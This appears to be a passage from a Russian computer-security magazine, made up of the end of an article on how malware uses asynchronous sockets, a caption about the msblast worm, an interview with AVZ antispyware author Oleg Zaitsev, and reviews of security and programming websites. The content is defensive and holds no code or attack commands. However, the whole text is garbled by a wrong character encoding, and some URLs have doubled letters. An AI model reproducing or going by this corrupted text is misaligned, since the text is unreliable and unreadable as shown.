ïðàêòè÷åñêè íåèñïîëüçóåìûå, íî î÷åíü ìîùíûå.
Ãëàâíîå èõ äîñòîèíñòâî â òîì, ÷òî, îæèäàÿ ïîä-
êëþ÷åíèÿ êëèåíòà èëè ïåðåäàâàÿ/ïðèíèìàÿ äàí-
íûå ïî Ñåòè, ñîêåò íåìåäëåííî âîçâðàùàåò óïðà-
âëåíèå, ñèãíàëèçèðóÿ î çàâåðøåíèè ïðîöåññà
ïðèåìà/ïåðåäà÷è ÷åðåç ñïåöèàëüíûé CALLBACK.
Â ïðàêòè÷åñêîì ïëàíå ýòî îçíà÷àåò, ÷òî ìàëâàðü
ìîæåò óñòàíîâèòü àñèíõðîííûé ñîêåò è òóò æå
âîçâðàòèòü îñíîâíîìó ïîòîêó óïðàâëåíèå, áóäó÷è
ïðè ýòîì àáñîëþòíî óâåðåííîé, ÷òî â íóæíûé ìî-
ìåíò îïåðàöèîííàÿ ñèñòåìà âñïîìíèò î íåé è ïå-
ðåäàñò óïðàâëåíèå CALLBACK-ïðîöåäóðå, ðàñïî-
ëîæåííîé âíóòðè çàãðóæåííîé ìàëâàðüþ äèíàìè-
÷åñêîé áèáëèîòåêè. Âíåøíå âñå âûãëÿäèò ÷èêè-
÷èêè — íèêàêèõ òåáå äîïîëíèòåëüíûõ ïîòîêîâ,
íèêàêèõ ïåðåõâàòîâ ÷åãî áû òî íè áûëî, âîîáùå
íè÷åãî ïîäîçðèòåëüíîãî.

ïðèãîâîð. Ñïèñîê ïåðå÷èñëåííûõ ñëàáûõ
ìåñò, êîíå÷íî æå, íå ÿâëÿåòñÿ èñ÷åðïûâàþùèì.
Îøèáîê â ïðîäóêòàõ òâîð÷åñòâà ïèîíåðîâ î÷åíü
ìíîãî è âñå îíè òóïû è äî íåïðèëè÷èÿ îäíîîá-
ðàçíû. Õîðîøàÿ ìàëâàðü âñå åùå âñòðå÷àåòñÿ,
íî ðåäêî. È ñ êàæäûì ãîäîì âñå ðåæå è ðåæå. Äè-
çàññåìáëèðîâàòü íå÷åãî. Êîâûðÿòüñÿ â ìåãàáàé-
òàõ íåàïïåòèòíîãî êîäà — íåèíòåðåñíî. Â îá-
ùåì, ñêóêà ñìåðòíàÿ è íèêàêîãî ïîçèòèâíîãî
ïðîäâèæåíèÿ âïåðåä

×åðâü msblast, çàáûâàþùèé ñêîððåêòèðîâàòü äàòó ñîçäàíèÿ ôàéëà, ÷åì è âûäàþùèé ñåáÿ ñ ãîëîâîé

«Äà ïóñòü õîòü ìèëëèîí âèðóñîâ ïîëçàåò ïî êîìïüþ-
òåðó, ëèøü áû ëþáèìûå èãðóøêè ðàáîòàëè íîðìàëü-
íî» — ëîçóíã áîëüøèíñòâà ïîëüçîâàòåëåé
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Êàê íàì âñåì èçâåñòíî ñ äåòñòâà, ñóùåñòâóþò ðàç-
íûå òÿæåëûå ìóæñêèå ïðîôåññèè. Âîò, íàïðèìåð,
ñâåðëîâùèê àëìàçíûõ âîëîê, âûëèâùèê-çàëèâùèê
ìåòàëëà, çàíÿòûé íà ïðîèçâîäñòâå ìàãíèÿ, ìàññî-
âèê-çàòåéíèê ïðîòèâîòóáåðêóëåçíîãî äèñïàíñåðà,
ñêðóááåðùèê-íàñîñ÷èê, â êîíöå êîíöîâ.

Íî åñòü â ìèðå è åùå áîëåå ñóðîâàÿ ïðîôåñ-
ñèÿ — ïðîôåññèÿ áîðöà ñî çëîì. Ñ êîìïüþòåðíûì
çëîì áîðþòñÿ öåëûå êîììåð÷åñêèå àðìèè êðåñòî-
íîñöåâ èç Ñèìàíòåêà, ëàáîðàòîðèè Êàñïåðñêîãî è
Äèàëîã-Íàóêè, ñ íèìè âîþåò äàæå ìîãó÷èé êèòàé-
ñêèé ìåäâåäü Ïàíäà. Íî íå ïåðåâåëèñü íà Ðóñè è
îòäåëüíûå ðûöàðè, êîòîðûå âûïóñêàþò ñâîè óòè-
ëèòû è êîòîðûå, êàê íè ñòðàííî, îêàçûâàþòñÿ êîí-
êóðåíòîñïîñîáíûìè è èçâåñòíûìè â êîìïüþòåð-
íîì ñîîáùåñòâå. Âîò, íàïðèìåð, àíòèðóòêèò-àí-
òèñïàéâàð îò Îëåãà Çàéöåâà (AVZ). Ýòîò ïðîãðàì-
ìíûé ïðîäóêò óâàæàåò äàæå Íèêîëàé «Ãîðëóì»

Àíäðååâ (ðàíüøå òðóäèëñÿ â íàøåì æóðíàëå, òå-
ïåðü — â «Õàêåðå», â îáùåì, òåìíûé ïåðñîíàæ), 
à ÿ íå ìîãó òàê ñõîäó ñêàçàòü, ÷òî èëè êîãî îí åùå
óâàæàåò, êðîìå Êðèñà Êàñïåðñêè :). Êñòàòè ãîâîðÿ,
Îëåã Çàéöåâ ïåðèîäè÷åñêè ïèñàë ñòàòüè â íàø
æóðíàë — â ýòîì íîìåðå òû òîæå ìîæåøü ïðî-
÷åñòü íåñêîëüêî åãî òðóäîâ, à ìû ñåé÷àñ çàäàäèì
åìó ïàðó-äðóãóþ âîïðîñîâ.

Ï Ð È Â Å Ò Ñ Ò Â Ó Þ ,  Î Ë Å Ã !  Í À Ñ Ë Û Ø À Í

Ï Ð Î  Ò Â Î É  À Í Ò È Ñ Ï À É Â À Ð -

À Í Ò È Ð Ó Ò Ê È Ò .  È  Â Ñ Å  Æ Å ,  Ð À Ñ Ñ Ê À Æ È

Í À Ì ,  × Å Ì  Î Í  Ï Ð È Í Ö È Ï È À Ë Ü Í Î

Î Ò Ë È × À Å Ò Ñ ß  Î Ò  Ê Î Í Ê Ó Ð Å Í Ò Î Â  

Â  Ë È Ö Å  A D A W A R E ,  S P Y B O T ’ A ?  

ÎËÅÃ ÇÇÀÉÖÅÂ: Åñëè ÷åñòíî, ÿ èíîãäà íå î÷åíü
ïîíèìàþ, ÷åì çàïîëíåíà áàçà òîãî æå ADAware.
Ìóñîðà òàì ... Æóòü! Êóêèñû, ðååñòðû è ïðî÷åå áå-
çîáðàçèå. Ïîýòîìó ÿ äåëàë àíòèñïàéâåð, êîòîðûé
îõîòèòñÿ èñêëþ÷èòåëüíî íà ðåàëüíûõ «çâåðåé»,
ïðè÷åì ñ áîðòîâûì àíòèðóòêèòîì. Ýòî âàæíî —
ñåé÷àñ êàæäûé äåñÿòûé ñïàéâåð ñíàáæåí ðóòêèò-
çàùèòîé (îáû÷íî ïðîñòîé, íî òåì íå ìåíåå). Ïëþñ
â AVZ âñòðîåí ïðîñòåéøèé àíòèêåéëîããåð, ëå÷èë-
êà LSP, âñÿêèå ýâðèñòè÷åñêèå ïðîâåðêè ñèñòåìû.
À ãëàâíîå — AVZ ðàáîòàåò áåç èíñòàëëÿöèè, ÷òî
ïîçâîëÿåò åãî ïðèìåíÿòü äëÿ îïåðàòèâíîé ÷èñòêè
è ïðîâåðêè ÏÊ. Åùå ïîääåðæèâàþòñÿ âíåøíèå
ñêðèïòû — îíè ïîçâîëÿþò ïîëíîñòüþ àâòîìàòèçè-
ðîâàòü ðàáîòó AVZ, ÷òî äàåò âîçìîæíîñòü àäìèíó
âêëþ÷èòü åãî â àâòîçàïóñê íà ÏÊ þçåðîâ è çàòåì
òîëüêî àíàëèçèðîâàòü ëîãè. Íî âñåæå AVZ — áîëü-
øå èíñòðóìåíò äëÿ àíàëèçà, ÷åì àíòèñïàéâåð ñ
åäèíñòâåííîé êíîïêîé «Ìî÷èòü âñåõ øïèîíîâ». 

A D A W A R E  —  Â Î Î Á Ù Å ,  Ë Þ Á È Ò Å Ë Ü

Ó Á È Â À Ò Ü  Ñ Ò Ð À Ø Í Û Å  Ó Ã Ð Î Ç Û

« Ñ Ð Å Ä Í Å É  Ò ß Æ Å Ñ Ò È »  Ò È Ï À

T R A C K I N G  C O O K I E S .  Ý Ò Î ,

Í À Â Å Ð Í Î Å ,  Ä À Æ Å  Ñ Ò Ð À Ø Í Å Å ,

× Å Ì  Ñ Ò Ð À Ø Í Û É  Â È Ð Ó Ñ  « N O T - A -

V I R U S - M I R C - 6 . 1 2 »  : ) .  Ì Í Å  Â Î Ò

Â Ñ Å Ã Ä À  Á Û Ë Î  È Í Ò Å Ð Å Ñ Í À  Ò À Ê À ß

Ô È × À ,  Ê À Ê  Á À Ç À  Á Å Ç Î Ï À Ñ Í Û Õ

Î Á Ú Å Ê Ò Î Â ,  × Ò Î Á Û  Þ Ç Å Ð Î Â  Í Å

Â Â Î Ä È Ë  Â  Ç À Á Ë Ó Æ Ä Å Í È Å  S U P E R _

S Y S T E M _ M I R R O S O F T _ 3 2 . E X E ,

Â È Ñ ß Ù È É  Â  Ï À Ì ß Ò È .  Ê À Ê  Ò Û  Í Å

Ï Å Ð Å Í À Ï Ð ß Ã Ñ ß ,  Ñ Î Ç Ä À Â À ß  Å Å ?

Ý Ò Î  Æ Å  Ò Û Ñ ß × È  Î Á Ú Å Ê Ò Î Â ?

ÎËÅÃ ÇÇÀÉÖÅÂ: Áàçà áåçîïàñíûõ ôàéëîâ — ìîÿ
ãîðäîñòü. Âî-ïåðâûõ, îíà îòñåêàåò ëîæíÿêè, åñëè
îíè âäðóã âîçíèêàþò, òàê ÷òî «÷èñòûé» ôàéë âíå
ïîäîçðåíèÿ. Âî-âòîðûõ, ðåçêî ñîêðàùàåò ðàçìåð
ïðîòîêîëà èññëåäîâàíèÿ ñèñòåìû è óïðîùàåòñÿ
ñàì àíàëèç. À ñîçäàòü åå áûëî äåéñòâèòåëüíî
òðóäíî: íàáèòü áàçó êó÷åé ôàéëîâ èç âñÿêèõ äè-
ñòðèáóòèâîâ íå ñîñòàâëÿåò òðóäà, à âîò îòîáðàòü
íàèáîëåå ðàñïðîñòðàíåííûå ôàéëû — ãîðàçäîS
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Îëåã Çàéöåâ —
cïåöèàëèñò 
ïî èíôîðìàöèîííîé
áåçîïàñíîñòè,
àâòîð àíòèñïàéâàðà-
àíòèðóòêèòà AVZ.

Èíòåðâüþ áðàë 
Àëåêñàíäð Ëîçîâñêèé.



81

ñëîæíåå. Ïëþñ àíàëèç ÷èñòîãî ôàéëà èíîé ðàç
ñëîæíåå, ÷åì «çâåðÿ»... Ñèëüíî ïîìîãàåò ôîðóì
virusinfo.info — òàì îðãàíèçîâàí ñïåöèàëüíûé ñåð-
âèñ äëÿ ïðèñûëêè îáúåêòîâ, êîòîðûå AVZ íå äå-
òåêòèò êàê ÷èñòûå. Ñ åãî ïîìîùüþ è èäåò îñíîâíîå
ïîïîëíåíèå áàç. Êðîìå òîãî, ñî ìíîé ñîòðóäíè÷à-
åò ðÿä êîìïüþòåðíûõ ôèðì — îíè ïîñëå íà÷èíêè
ïðîäàâàåìîãî ÏÊ ñîáèðàþò íåîïîçíàííûå ôàéëû
è ïðèñûëàþò ìíå. Íó è ñàì AVZ ïîìîãàåò: íàïðè-
ìåð, åãî àíòèêåéëîããåð ðåàãèðóåò íà âñå ëåâûå
DLL, ÷òî ïðèâîäèò ê èõ ïðèñûëêå íà àíàëèç è ïî-
ïîëíåíèþ áàçû. 

Ð À Ñ Ñ Ê À Æ È  Ê À Ê Î É - Í È Á Ó Ä Ü  Ñ Å Ê Ð Å Ò

Î  Ñ Â Î Å É  Ï Ð Î Ã Ð À Ì Ì Å ,  × Ò Î - Í È Á Ó Ä Ü ,

Î  × Å Ì  Ì Û  Í Å  Ï Ð Î × Ò Å Ì  Â  È Í Ò Å Ð Í Å Ò Å .

Ì Î Æ Å Ò  Á Û Ò Ü ,  Ò Û  Ç À Ï Ð ß Ò À Ë  Ò À Ì

E A S T E R  E G G ,  Ê À Ê Î É - Í È Á Ó Ä Ü  Á Ý Ê Ä Î Ð

È Ë È  Å Ù Å  × Ò Î - Ò Î ?  Ñ Å Ê Ð Å Ò Í Û Å  

Î Ï Ö È È ,  Ñ Ê Ð Û Ò Û Å  Â  Ì Å Í Þ ?  

ÎËÅÃ ÇÇÀÉÖÅÂ: Íó áýêäîðà òàì, êîíå÷íî, íåò, à
âîò ñêðûòûõ îïöèé — ïåðèîäè÷åñêè áûâàåò íàâà-
ëîì... Îáû÷íî âñå ïðîèñõîäèò òàêèì îáðàçîì: ïî-
ÿâëÿåòñÿ íåêàÿ íîâàÿ ôè÷à, ïðâäà, â ìåíþ åå íåò,
çàòî åñòü íåêèé êëþ÷èê äëÿ åå âêëþ÷åíèÿ èëè êî-
ìàíäà â ñêðèïòîâîì äâèæêå, î êîòîðîì èçâåñòíî
òîëüêî 2-3 áåòà-òåñòåðàì. À ïîòîì ôè÷à ïîÿâëÿåò-
ñÿ îôèöèàëüíî, è êëþ÷èê èñ÷åçàåò. Ïðè÷åì ÷àùå
âñåãî âñå ñêðûòûå ôóíêöèè îïèñàíû â äîêå, è âñå
ðàññ÷èòàíî íà òî, ÷òî åñëè ÷åëîâåê äîêó íå ÷èòàåò,
òî åìó è îïöèÿ ýòà íå íóæíà.

ß  Ò À Ê  È  Ç Í À Ë  : ( .  È  Â Ñ Å  Ð À Â Í Î

Ê Î Ë È Ñ Ü !  Õ Î Ò ß  Á Û  Ð À Ñ Ñ Ê À Æ È  Ê À Ê Î É -

Í È Á Ó Ä Ü  Ï Ð È Ê Î Ë Ü Í Û É  Ì Î Ì Å Í Ò  È Ç

Ï Ð Î Ö Å Ñ Ñ À  Ð À Ç Ð À Á Î Ò Ê È .

ÎËÅÃ ÇÇÀÉÖÅÂ: Â ðàçðàáîòêå ïðèêîëüíûõ ìî-
ìåíòîâ áûâàåò ìàëî — ýòî ïî áîëüøåé ÷àñòè ðóòè-
íà. À âîò â òåñòèðîâàíèè ïðèêîëîâ õâàòàåò. Áëè-
æàéøèé ïðèìåð: òåñòèðîâàëñÿ ïîâåäåí÷åñêèé
àíàëèçàòîð â àíòèêåéëîããåðå. Îí äðàçíèò õóê ðàç-
íûìè ñîáûòèÿìè, â òîì ÷èñëå êëàâèàòóðíûìè. ß
âûáðàë êàêîå-òî äèêîå ñî÷åòàíèå êëàâèø äëÿ òà-
êîãî äðàçíåíèÿ. Íà÷àëèñü òåñòû. Ó ïåðâîãî æå òå-
ñòåðà áûë õóê êëàâèàòóðû äëÿ âûçîâà ñëîâàðÿ,
êñòàòè, íàñòðîåí îí áûë èìåííî íà ýòî ñî÷åòà-
íèå... AVZ ïî÷óÿë ðåàêöèþ è óäâîèë óñèëèÿ ïî
äðàçíåíèþ, à áåäíûé ïåðåâîä÷èê ðåøèë, ÷òî þçå-
ðó íóæíî äâå ñîòíè åãî îêîí, è ñòàë èõ îòêðûâàòü.

À  Ê À Ê  Ò Û  Â Î Î Á Ù Å  Ï Î Ä Î Ø Å Ë  Ê  È Ä Å Å

Ñ Î Ç Ä À Ò Ü  Ñ Â Î Þ ,  Ä À  Å Ù Å  È

Í Å Ê Î Ì Ì Å Ð × Å Ñ Ê Ó Þ  Ï Ð Î Ã Ð À Ì Ì Ó ?

Ñ Ê Î Ë Ü Ê Î  Â Ð Å Ì Å Í È  Ò Å Ï Å Ð Ü  Ó Õ Î Ä È Ò

Í À  Å Å  Ï Î Ä Ä Å Ð Æ Ê Ó ?

ÎËÅÃ ÇÇÀÉÖÅÂ: Èñõîäíî-òî ÿ äåëàë AVZ èñêëþ-
÷èòåëüíî äëÿ ñâîèõ íóæä. ß ðàáîòàþ â ñëóæáå èí-

ôîðìàöèîííîé áåçîïàñíîñòè êðóïíîé êîíòîðû,
ñåòü ãðîìàäíàÿ, ïîýòîìó íåêèé ïîäðó÷íûé èíñòðó-
ìåíò äëÿ áîðüáû ñ ðàçíîé çàðàçîé ÷àñòî ýêîíîìèò
ìíîãî âðåìåíè. Ó ïåðâûõ âåðñèé AVZ âîîáùå íå
áûëî èíòåðôåéñà — ÷òî-òî òèïà êîíñîëüíîãî ñêà-
íåðà-àíàëèçàòîðà. Ïîòîì ÿ ñòàë äîáàâëÿòü ê íåìó
ðàçíûå èíñòðóìåíòû äëÿ óïðîùåíèÿ îòëîâà ðàç-
íûõ øïèîíîâ — ïðîãðàììà ñòàëà ðàñïîëçàòüñÿ çà
ïðåäåëû êîíòîðû. Âèäÿ ýòî, ÿ ïðîñòî äîáàâèë õåëï
è âûëîæèë åå äëÿ ïóáëè÷íîãî èñïîëüçîâàíèÿ. À
äåëàòü åãî êîììåð÷åñêèì ñìûñëà îñîáîãî íåò —
äåíåã áîëüøèõ ýòî íå ïðèíåñåò, äà è áðàòü äåíüãè
ñ ñîáðàòüåâ-ñèñàäìèíîâ ìíå êàê-òî íå õî÷åòñÿ, ïî-
ýòîìó ïðîåêò íåêîììåð÷åñêèé. Íà ïîääåðæêó âðå-
ìÿ, êîíå÷íî, óõîäèò, íî íå î÷åíü ìíîãî — ó ìåíÿ â
âèðëàáå âñå àâòîìàòèçèðîâàíî äî áåçîáðàçèÿ, òàê
÷òî ñïðàâëÿþñü áåç ïðîáëåì. Êðîìå òîãî, ó ìåíÿ
åñòü öåëàÿ àðìèÿ äîáðîâîëüíûõ ïîìîùíèêîâ —
êòî çâåðüå ñâåæåå ïðèñûëàåò, êòî ññûëêè íà çëîâ-
ðåäîâ — ýòî ñèëüíî ïîìîãàåò â ðàáîòå.

Ò Å Á Å ,  Í À Â Å Ð Í Î Å ,  × À Ñ Ò Î  Ï È Ø Ó Ò

Ë À Ì Å Ð Î Â À Ò Û Å  Ï Î Ë Ü Ç Î Â À Ò Å Ë È

( Õ Î Ò ß  Â Ð ß Ä  Ë È  Ñ À Ì Û Å  Ñ Ë À Á Î Ó Ì Í Û Å

Ä Î Á Å Ð Ó Ò Ñ ß  Ä Î  Ñ À Ì Î Ã Î  Ô À Ê Ò À  Å Å

Ñ Ó Ù Å Ñ Ò Â Î Â À Í È ß ) ,  Í Î  Â Ñ Å  Ð À Â Í Î

Ì Î Æ Å Ø Ü  Ï Ð È Â Å Ñ Ò È  Ê À Ê Î É - Í È Á Ó Ä Ü

Ï Å Ð Ë  È Ç  Ï È Ñ Å Ì  Ï Î Ë Ü Ç Î Â À Ò Å Ë Å É ?

ÎËÅÃ ÇÇÀÉÖÅÂ: Äà, òàêîå áûâàåò. Áëèæàéøèé
ïðèêîë — ïèñüìî ñ òåêñòîì: «... ÿ íå ìîãó ïðè-
ñëàòü çàïðîøåííûé ïîäîçðèòåëüíûé ôàéë. Ïîý-
òîìó ïðèñûëàþ åãî ôîòîãðàôèþ — ìîæåò, îíà ïî-
ìîæåò ðàçîáðàòüñÿ, âèðóñ ýòî èëè íåò...». Ê ïèñü-
ìó ïðèöåïëåíà BMP'øêà ðàçìåðîì 2 Ìá ñî ñêðèí-
øîòîì, íà íåé — ïðîâîäíèê ñ ïàïêîé, â êîòîðîé
âèäåí òîò ñàìûé ïîäîçðèòåëüíûé ôàéë. Îñòàåòñÿ
òîëüêî ñîçäàòü äîñêó «Èõ ðàçûñêèâàåò âèðóñî-
ëîã» è ïðèêëåèòü íà íåå ðàñïå÷àòàííûå «ôîòî-
ãðàôèè ôàéëîâ».

À  Ñ  Í Î Ð Ì À Ë Ü Í Û Ì È  Ë Þ Ä Ü Ì È  Ê À Ê ?  : ) .

Í À Â Å Ð Í ß Ê À  Æ Å  Ï Ð È Õ Î Ä È Ë Î Ñ Ü

Î Á Ù À Ò Ü Ñ ß  Ñ  È Ç Â Å Ñ Ò Í Û Ì È

Ë È × Í Î Ñ Ò ß Ì È  S P Y W A R E  È  A N T I S P Y -

W A R E  Ì È Ð À ?  Ð À Ñ Ñ Ê À Æ È  Ï Ð Î  Í È Õ

Ê À Ê È Å - Í È Á Ó Ä Ü  È Í Ò Å Ð Å Ñ Í Û Å  Á À É Ê È .

ÎËÅÃ ÇÇÀÉÖÅÂ: Ïî ïîâîäó ëèö spy-èíäóñòðèè, ÿ,
÷åñòíî ãîâîðÿ, íè îäíîãî íå çíàþ ëè÷íî... À ÷òî êà-
ñàåòñÿ àíòèñïàé, òî íåêîòîðûå ïðèìåðû ìîãó ïðè-
âåñòè. Ïåðâûé ïðèìåð — Âÿ÷åñëàâ Êîëÿäà (äèðåê-
òîð âèðëàáà VBA, http://anti-virus.by/). Àíòèâèðóñ VBA
íå ïðîñòî ëîâèò malware — ñïåöèàëèñòû âèðëàáà
ïåðèîäè÷åñêè çàäàþòñÿ âîïðîñàìè ïðàâèëüíîñòè
êëàññèôèêàöèè òîãî èëè èíîãî ïîäîçðåâàåìîãî,
÷òî, ïî ìîåìó ðàçóìåíèþ, î÷åíü ïîëåçíûé è ïðà-
âèëüíûé ïðîöåññ. Äåëî â òîì, ÷òî ÷àñòî èçó÷àå-
ìûé îáðàçåö íàõîäèòñÿ íà ãðàíèöå «çëîâðåä-
îáû÷íîå ÏÎ», è åãî ïðèçíàíèå â êà÷åñòâå adware

âåñüìà óñëîâíî, òàê ÷òî ìû ïåðèîäè÷åñêè îáñóæ-
äàåì âîïðîñû êëàññèôèêàöèè òîãî èëè èíîãî
çëîâðåäà. Âòîðîé ïðèìåð — Ëàáîðàòîðèÿ Êàñïåð-
ñêîãî âî ãëàâå ñ Åâãåíèåì Êàñïåðñêèì. Áîëüøîé
ïëþñ èõ ïîäõîäà ê äåòåêòó malware — ýòî äèàãíî-
ñòèêà íå òîëüêî ÿâíûõ adware/spyware, íî è âñå-
âîçìîæíûõ Downloader, RemoteAdmin è ïîäîáíûõ
ñðåäñòâ. Â ðåçóëüòàòå ðàñøèðåííàÿ áàçà AVP ìî-
æåò áûòü ñòðàøíåå àòîìíîé áîìáû äëÿ íåîïûòíî-
ãî ïîëüçîâàòåëÿ, íî çàòî êðàéíå ïîëåçíà äëÿ ñïå-
öèàëèñòà â îáëàñòè áåçîïàñíîñòè.

Î ’ Ê Å É ,  Ï Å Ð Å É Ä Å Ì  Ê  Á Ë È Ö - Î Ï Ð Î Ñ Ó .

Ê À Ê À ß  Ê Í È Ã À ,  Ð Å Ñ Ó Ð Ñ  È  × Å Ë Î Â Å Ê

Á Î Ë Ü Ø Å  Â Ñ Å Ã Î  Ï Î Â Ë È ß Ë È  Í À  Ò Å Á ß

Ê À Ê  Í À  Ê Î Ä Å Ð À ?

ÎËÅÃ ÇÇÀÉÖÅÂ: «Ñïðàâî÷íèê ïî ïðåðûâàíèÿì
IBM PC» â äâóõ òîìàõ. Ñ íåå ó ìåíÿ íà÷àëîñü ãëó-
áèííîå èçó÷åíèå ñèñòåìû... Êðîìå òîãî, ñèëüíîå
âëèÿíèå îêàçàëè ìîè ðîäèòåëè: êîãäà ðîäèòåëè —
òåõíàðè, àëãîðèòìè÷åñêîå ìûøëåíèå âûðàáàòû-
âàåòñÿ ÷óòü ëè íå ñ ïåëåíîê.

À  × È Ò À Ò Å Ë Þ ,  Å Ñ Ë È  Î Í  Â Ä Ð Ó Ã

Ñ Î Á Å Ð Å Ò Ñ ß  Ï È Ñ À Ò Ü  Ñ Â Î É

À Í Ò È Ñ Ï À É Â À Ð ,  Ê À Ê È Å  Ê Í È Ã È

Ï Î Ñ Î Â Å Ò Ó Å Ø Ü  Ï Î × È Ò À Ò Ü ,  Ñ  Ê À Ê È Ì È

Ñ À É Ò À Ì È  Î Ç Í À Ê Î Ì È Ò Ü Ñ ß ?

ÎËÅÃ ÇÇÀÉÖÅÂ: Îäíîé êíèæêîé ÿâíî íå îáîé-
òèñü. Êàê ìèíèìóì, íóæíî èçó÷èòü ïàðó-òðîéêó
êíèã ïî àññåìáëåðó, äàëåå íå ïîìåøàåò îçíàêî-
ìèòüñÿ ñ òðóäàìè Êðèñà Êàñïåðñêîãî (â îñîáåííî-
ñòè «Îáðàç ìûøëåíèÿ — äèçàññåáëåð IDA»), èçó-
÷èòü «Îòëàä÷èê SoftICE» Àéðàïåòÿíà. Ýòî âñå äëÿ
òîãî, ÷òîáû íàó÷èòüñÿ àíàëèçèðîâàòü çëîâðåäîâ 
è ïèñàòü íèçêîóðîâíåâûé êîä. Äàëåå îäíîçíà÷íî
íóæíî èçó÷èòü C — òóò êíèæåê òüìà. Íå ïîâðåäèò
ïðî÷èòàòü êíèãó «Ïðîãðàììèðîâàíèå äðàéâåðîâ
Windows» Ñîëäàòîâà, îäíîçíà÷íî íóæíî èçó÷èòü
òðóä Ã. Íåááåòà «Ñïðàâî÷íèê ïî áàçîâûì ôóíê-
öèÿì API Windows NT/2000» è «Íåäîêóìåíòèðî-
âàííûå âîçìîæíîñòè Windows 2000» Ñâåíà Øðàé-
áåðà. Î÷åíü ïîëåçíî ïî÷èòàòü òðåõòîìíèê Ä. Êíó-
òà «Èñêóññòâî ïðîãðàììèðîâàíèÿ» — òàì ìíîãî
ïîëåçíûõ àëãîðèòìîâ.

Í Ó ,  Ñ  Ò Ð Ó Ä À Ì È  Ê Ð È Ñ À  Í À Ø È

× È Ò À Ò Å Ë È  Õ Î Ð Î Ø Î  Ç Í À Ê Î Ì Û ,

Ï Î Ñ Ê Î Ë Ü Ê Ó  Ð Å Ä Ê È É  Í Î Ì Å Ð

Î Á Õ Î Ä È Ò Ñ ß  Á Å Ç  Å Ã Î  Ñ Ò À Ò Å É .  

È Ò À Ê ,  Ñ À Ì Û É  Ã Ë À Â Í Û É  Â Î Ï Ð Î Ñ :

Å Ñ Ò Ü  Ë È  × Å Ë Î Â Å Ê ,  Ê Î Ò Î Ð Î Ã Î  Ò Û

Á Û  Õ Î Ò Å Ë  Ñ Ê Î Ð Ì È Ò Ü  Ã È Ã À Í Ò Ñ Ê Î Ì Ó

Ø À É - Õ Ó Ë Ó Ä Ó  Ñ  Ï Ë À Í Å Ò Û  Ä Þ Í À ?

ÎËÅÃ ÇÇÀÉÖÅÂ: Âñòðå÷íûé âîïðîñ: à åñëè ÷åðâü
ïîñëå ýòîãî îòðàâèòñÿ ? :) Åñëè ñåðüåçíî, òî òàêî-
ãî ÷åëîâåêà ÿ íàçâàòü íå ìîãó 
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wwwwww..bbuuggttrraacckk..rruu

Íàçâàíèå îáìàí÷èâî, òàê 
êàê ïåðâîå âïå÷àòëåíèå îò
íåãî — áåñêîíå÷íàÿ íîâîñò-
íàÿ ëåíòà è ïðîñòî ìàññà
ðàçëè÷íûõ óÿçâèìîñòåé. 
Íà äåëå êîíöåïöèÿ ñîâñåì
èíàÿ — òîëüêî ñàìîå àêòó-
àëüíîå, òîëüêî ñàìîå âàæíîå
è â îñíîâíîì ïî èçâåñòíûì
ïðîãðàììàì. Íà ôîíå äðóãèõ
ïðîåêò âûäåëÿåòñÿ òåì, ÷òî
îòñëåæèâàåò òåíäåíöèè, àíà-

ëèòèêó, èíôîðìèðóåò î íàè-
áîëåå çíà÷èìûõ ñîáûòèÿõ, à
íå îáî âñåì ïîäðÿä. Ðàçäåë
«Ôîðóì» — äàíü ìîäå. À âîò
â ñòàòüÿõ åñòü î÷åíü íåïëî-
õèå ìàòåðèàëû.

wwwwww..kkaassppeerrsskkyy..rruu

Ëàáîðàòîðèÿ Êàñïåðñêîãî —
ïîæàëóé, íå òîëüêî íàèáîëåå
ïîïóëÿðíàÿ ðîññèéñêàÿ 
ðàçðàáîòêà è ðàñêðó÷åííûé
áðåíä, íî è âåñüìà ïîëåçíûé
ðåñóðñ, íà êîòîðîì åñòü 
ìàññà èíòåðåñíîãî äàæå 
äëÿ òåõ, êòî íèêîãäà íå ïîêó-
ïàë è íå óñòàíàâëèâàë èõ àí-
òèâèðóñîâ è óòèëèò. Ðå÷ü èäåò
î âèðóñíîé ýíöèêëîïåäèè —
www.viruslist.com/ru/. Ïðåæäå
âñåãî ýòî àêòóàëüíûå íîâîñ-
òè èç ìèðà âèðóñîâ —
www.viruslist.com/ru/news. Ïëþñ
îáøèðíûé ñáîðíèê ñóùåñò-

âóþùèõ âèðóñîâ ñ äîñòàòî÷-
íî ïîäðîáíûì îïèñàíèåì:
÷òî çàðàæàþò, êàê âûãëÿäÿò,
÷åì ÷ðåâàòî çíàêîìñòâî, 
è ÷òî äåëàòü, åñëè âñòðå÷à
óæå ïðîèçîøëà. Òóò æå
ñòàòüè, ïîñâÿùåííûå èñòî-
ðèè âðåäîíîñíûõ ïðîãðàìì
(ñåòåâûå ÷åðâè, êëàññè÷åñ-
êèå âèðóñû, òðîÿíñêèå ïðîã-
ðàììû è ïðî÷àÿ íå÷èñòü),
ðàçðàáîò÷èêàì âèðóñîâ 
è ïåðñïåêòèâàì â áëèæàé-
øåì áóäóùåì. Äëÿ ôàíàòîâ
åñòü äàæå õèò-ïàðàä 20 íàè-
áîëåå íàøóìåâøèõ âèðó-
ñîâ/òðîÿíîâ/øïèîíîâ çà ïîñ-
ëåäíèé ìåñÿö. Åùå íà ñàéòå
åñòü âîçìîæíîñòü îíëàéí-
òåñòèðîâàíèÿ íà íàëè÷èå âè-
ðóñîâ — www.kaspersky.ru/
virusscanner, íî ñ íåêîòîðûìè 
îãðàíè÷åíèÿìè.
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Íà ýòèõ ðåñóðñàõ òû íàéäåøü
ìàññó äîïîëíèòåëüíîé
èíôîðìàöèè. Àíäðåé Êàðîëèê 
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wwwwww..pprrooggzz..rruu

ß íå çíàþ, ñàìûé ëè ýòî ïî-
ïóëÿðíûé ôîðóì ïî ïðîã-
ðàììèðîâàíèþ, íî, ñóäÿ ïî
êîëè÷åñòâó çàðåãèñòðèðî-
âàííûõ ïîëüçîâàòåëåé è îá-
ñóæäàåìûõ òåì, çäåñü åñòü,
÷òî ïî÷èòàòü. Äëÿ óäîáñòâà
âñå òåìû ðàçäåëåíû íà ðàç-
íûå íàïðàâëåíèÿ: ïðîãðàì-
ìèðîâàíèå ïîä Windows,
ÿçûêè ïðîãðàììèðîâàíèÿ,
âåá-ïðîãðàììèðîâàíèå,

òåõíîëîãèè ïðîãðàììèðîâà-
íèÿ, ïðîãðàììèðîâàíèå ïîä
*nix, òåîðèÿ ïðîãðàììèðîâà-
íèÿ, ìîáèëüíûå ïëàòôîð-
ìû, ïðîãðàììèðîâàíèå
ïëàòôîðìåííî-íåçàâèñè-
ìûõ ñèñòåì è áàçû äàííûõ.
